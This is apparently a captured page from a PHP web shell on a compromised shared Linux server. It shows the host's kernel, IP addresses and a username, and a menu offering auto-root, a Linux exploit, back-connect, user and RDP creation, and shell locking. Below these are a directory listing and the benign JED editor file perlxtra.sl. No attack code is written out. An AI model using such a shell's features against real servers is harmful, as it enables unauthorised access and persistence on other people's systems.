Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : perlxtra.sl
% this -*- SLang -*- file defines extra routines that can also be used to % run or format snippets of Perl code that exist outside of 'perl_mode' % % ------------------------------------------------------------------------ % Changes: % 2002-11-19 Mark Olesen <mark dot olesen at gmx dot net> % - perl_info and perldoc simplified % % 2002-08-29 Mark Olesen <mark dot olesen at gmx dot net> % - split off from perl.sl % - perl_exec / perl_check / perltidy now respect narrowed buffers % % 2006-08-27 Mark Olesen <mark dot olesen at gmx dot net> % - cosmetics % % 2006-11-11 JED % - Added provide statement. % % 2007-03-21 Mark Olesen % - save modified file before running perltidy/perl_exec % % ------------------------------------------------------------------------ %{{{ default values for Perl custom variables % override these default values in ~/.jedrc %!%+ %\variable{Perl_Flags} %\synopsis{Perl_Flags} %\usage{String Perl_Flags = "-w";} %\description % Extra (or 'expert') command-line options (switches) for running Perl. % eg, \var{'-I'} or \var{'-M'}. % You only need these if you know why you need these. % % Warnings are *always* enabled, regardless of what you try here. % If your code doesn't run with \var{'-w'}, re-write it so it does % or you're an expert and know which sections of code should have % warnings disabled anyhow. %!%- custom_variable("Perl_Flags", Null_String); %!%+ %\variable{Perl_Indent} %\synopsis{Perl_Indent} %\usage{Integer Perl_Indent = 4;} %\description % This value determines the number of columns the current line is indented % past the previous line containing an opening \exmp{'\{'} character. % eg., %#v+ % if (test) { % statement(); % } % else { % statement(); % } %#v- % % The default value (4) corresponds to the default for \var{perltidy} % %\seealso{C_INDENT, Perl_Continued_Offset} %!%- custom_variable("Perl_Indent", 4); %}}} static variable tmp_input = "_tmp_jedperl_", shell_output = "*shell-output*", help_buf = "*help-perl*"; % interact with perldoc information %------------------------------------------------------------------------- %!%+ %\function{perltidy} %\synopsis{Void perltidy (Void)} %\description % Runs the \var{perltidy} program on a region, buffer or narrowed buffer. % The \var{perltidy} program (available from \var{http://perltidy.sourceforge.net}) % must be installed for this to work! % % With a numerical prefix argument (eg Ctrl-U), prompts for extra flags % for \var{perltidy}. % % The following style preferences settings in \var{~/.perltidyrc} seem to % give good results: %#v+ % -et=8 # standard tabs % -nola # no outdent labels % -wba="." # break after string concatenation % -se # errors to standard error output % -sbt=2 # very tight square brackets %#v- %\seealso{perl_indent_region, perl_indent_buffer, perl_mode} %!%- define perltidy () % <AUTOLOAD> this function { variable cmd = "perltidy -st -q"; % command plus invariant flags variable line = what_line(); % we'll try to return here later variable opts = "-nola"; % optional flags variable file, dir, thisbuf, flags; (file, dir, thisbuf, flags) = getbuf_info(); if (change_default_dir(dir)) { error("cd '" + dir + "' failed"); } % with a prefix argument, we can add extra flags if ( -9999 != prefix_argument (-9999) ) { opts = read_mini( "perltidy flags:", Null_String, opts ); } % check if we want a tmp file % we need a tmp file for a processing % 1: a region % 2: a narrowed buffer % 3: when no file is attached variable use_tmp = markp(); % a region ifnot (use_tmp) { % no region, but a narrowed buffer use_tmp = count_narrows(); if (use_tmp) mark_buffer(); } ifnot (use_tmp) { % check if a file is attached ifnot (strlen(file)) use_tmp = 1; mark_buffer(); } narrow(); if (use_tmp) { file = tmp_input; % we need to use a tmp file mark_buffer(); () = write_region_to_file(file); % guess the start indentation level bob(); do { skip_white(); if (eolp()) continue; % ignore blank lines % round column number up and use to estimate the indentation level cmd += sprintf(" -sil=%d", int((what_column() + 1) / Perl_Indent)); break; } while (down_1()); } else if (flags & 0x01) { % buffer modified - save the file first () = write_buffer (dir + file); } sw2buf(shell_output); erase_buffer (); % clean-up function % unfortunately run_shell_cmd doesn't always signal an error!! ERROR_BLOCK { sw2buf(thisbuf); delbuf(shell_output); if (use_tmp) () = delete_file(file); widen(); goto_line(line); bol(); flush(Null_String); } % add flags and the file name if ( strlen(opts) ) cmd = strjoin( [ cmd, opts, file ], " " ); else cmd = strjoin( [ cmd, file ], " " ); flush(cmd); variable rc = run_shell_cmd(cmd); set_buffer_modified_flag(0); % mark as unchanged % handle errors from 'run_shell_cmd' if (rc) error("error running perltidy"); % the command apparently worked % switch back to our original buffer and update everything sw2buf(thisbuf); mark_buffer(); del_region(); % use del_region so that undo will work insbuf(shell_output); EXECUTE_ERROR_BLOCK; } % Run perl with some flags on current region if one is defined, otherwise % on the whole buffer. % % Display output in *shell-output* buffer window. % % Error messages look like this: % Missing right curly or square bracket at Foo.pl line 7, at end of line % % Thus we'll look for ' at FILENAME line ' static define do_perl (opts, prompt) { variable cmd = "perl -w"; variable args = Null_String; variable line = 0; % line offset variable file, dir, thisbuf, flags; (file, dir, thisbuf, flags) = getbuf_info(); if (change_default_dir(dir)) { error("cd '" + dir + "' failed"); } if (strlen(Perl_Flags)) opts += " " + Perl_Flags; % tack on our flags % with a prefix argument, we can edit perl flags if ( -9999 != prefix_argument (-9999) ) { opts = read_mini( "Perl flags:", Null_String, opts ); } % check if we want a tmp file % we need a tmp file for a processing % 1: a region % 2: a narrowed buffer % 3: when no file is attached variable use_tmp = markp(); % a region ifnot (use_tmp) { % no region, but a narrowed buffer use_tmp = count_narrows(); if (use_tmp) mark_buffer(); } ifnot (use_tmp) { % check if a file is attached if (strlen(prompt)) args = read_mini( prompt, Null_String, Null_String ); ifnot (strlen(file)) { % no file attached use_tmp = 1; mark_buffer(); } } if (use_tmp) { file = tmp_input; % we need to use a tmp file check_region(1); % canonical region & push_spot exchange_point_and_mark(); % goto start line = what_line(); % force 'strict'; % also introduces a line offset of 1 as a nice side-effect () = write_string_to_file( "use strict;\n", file ); () = append_region_to_file(file); pop_spot(); } else if (flags & 0x01) { % buffer modified - save the file first () = write_buffer (dir + file); } variable oldbuf = pop2buf_whatbuf(shell_output); erase_buffer (); % in case our system command bombs out ERROR_BLOCK { if (use_tmp) () = delete_file(file); } #ifdef OS2 UNIX args += " 2>&1"; % re-direct stderr as well #endif variable rc = run_shell_cmd(strjoin( [cmd, opts, file, args], " ")); set_buffer_modified_flag(0); % mark output as unchanged % report errors from 'run_shell_cmd' if (rc) flush("error running perl"); EXECUTE_ERROR_BLOCK; % try to restore any window that got replaced by the shell-output %% if (strlen(oldbuf) %% and (oldbuf != shell_output) %% and (oldbuf != thisbuf) ) %% { %% splitwindow(); sw2buf(oldbuf); pop2buf(shell_output); %% } eob(); % No output - close the shell-window and display message if (bobp()) { pop2buf(thisbuf); onewindow(); message("No output."); } else if ( right( bsearch( " at " + file + " line " ) ) ) { % Move to the line in source that generated the error skip_white(); % for safety's sake push_mark(); skip_chars ("0-9"); line += integer(bufsubstr()); %% flush (sprintf ("goto line %d", line)); % Debug pop2buf(thisbuf); goto_line(line); bol(); } } %!%+ %\function{perl_exec} %\synopsis{Void perl_exec (Void)} %\description % This function runs \var{perl} on a region, buffer or narrowed buffer. % With a numerical prefix argument (eg Ctrl-U), also prompts for % extra Perl flags. % Display output in *shell-output* buffer window. %\seealso{perl_check, perl_mode} %!%- define perl_exec() { % <AUTOLOAD> do_perl(Null_String, "perl @ARGV:"); } %!%+ %\function{perl_check} %\synopsis{Void perl_check (Void)} %\description % This function runs a perl \var{-CT} check on a region, buffer or narrowed buffer. % Display output in *shell-output* buffer window. %\seealso{perl_exec, perltidy, perl_mode} %!%- define perl_check() { do_perl("-cT", Null_String); % check with tainting on } % we seem to need this an awful lot, since we currently have no help mode % and the user may have deleted the buffer in the meantime % ... with a bit better integration in the main JED distribution, % we could reduce this overhead % static define attach_keymap (name) { ifnot (keymap_p(name)) { make_keymap(name); definekey("perl_help", "?", name); definekey("perl_help", "\r", name); definekey("perl_help", "^C?", name); % for consistency definekey("perl_info", "^Ci", name); } if (bufferp(name)) { variable cbuf = whatbuf(); setbuf(name); use_keymap(name); % attach keymap here setbuf(cbuf); } } % % insert the results of a shell command into the help buffer % static define perl_get_help (cmd) { variable cbuf = pop2buf_whatbuf(help_buf); erase_buffer(); attach_keymap(help_buf); flush(cmd); #ifdef UNIX () = run_shell_cmd(cmd + " 2>/dev/null"); % discard stderr #else () = run_shell_cmd(cmd); #endif bob(); set_buffer_modified_flag(0); pop2buf(cbuf); flush(Null_String); } static define help_for_perl (what) { % empty string -> translate to 'perl' (like a table-of-contents) if ((what == NULL) || not(strlen (what))) what = "perl"; perl_get_help("perldoc -t " + what); } %% %!%+ %% %\function{extract_word} %% %\synopsis{extract_word} %% %\usage{String extract_word (String Word_Chars)} %% %\description %% % extract a word defined by \var{Word_Chars} from the current buffer %% %!%- static define extract_word (chars) { ifnot (markp()) { % skip leading non-word chars, including newline do { skip_chars ("^" + chars); ifnot (eolp()) break; } while (down (1)); bskip_chars (chars); % in case we started in the middle of a word push_mark(); skip_chars (chars); % mark the word } return bufsubstr(); } %!%+ %\function{perl_info} %\synopsis{Void perl_info (Void)} %\description % displays the perl settings \var{perl -V} in the help buffer %!%- %\seealso{perldoc, perl_help} define perl_info () { perl_get_help("perl -V"); } % <AUTOLOAD> %!%+ %\function{perl_help} %\synopsis{Void perl_help (Void)} %\description % extract an alphanumeric keyword (a function) and display help % via perldoc for it %!%- %\seealso{perldoc, perl_mode} define perl_help () % <AUTOLOAD> { variable what = extract_word(":0-9A-Z_a-z"); ifnot (strlen(what)) { flush("Sorry no word extracted"); return; % no string - no help } % all lower-case words treated as function names % provided they don't start with 'perl' (mostly manpages) if (strncmp(what, "perl", 4)) { if (string_match(what, "^[a-z][a-z0-9]+$", 1)) { what = strcat("-f ", what); } } help_for_perl(what); } %!%+ %\function{perldoc} %\synopsis{Void perldoc (void)} %\description % use perldoc to find information % The '-f' option is inferred for lowercase strings not starting with 'perl' % % perldoc [options] PageName|ModuleName|ProgramName... % perldoc [options] -f BuiltinFunction % perldoc [options] -q FAQRegex % % Options: % -u Display unformatted pod text % -m Display module's file in its entirety % -q Search the text of questions (not answers) in perlfaq[1-9] %\seealso{perl_help, perl_mode} %!%- define perldoc () % <AUTOLOAD> <COMPLETE> { ifnot (MINIBUFFER_ACTIVE) help_for_perl(read_mini("perldoc:", Null_String, Null_String)); } provide ("perlxtra"); % -------------------------------------------------------- [end of S-Lang]
Close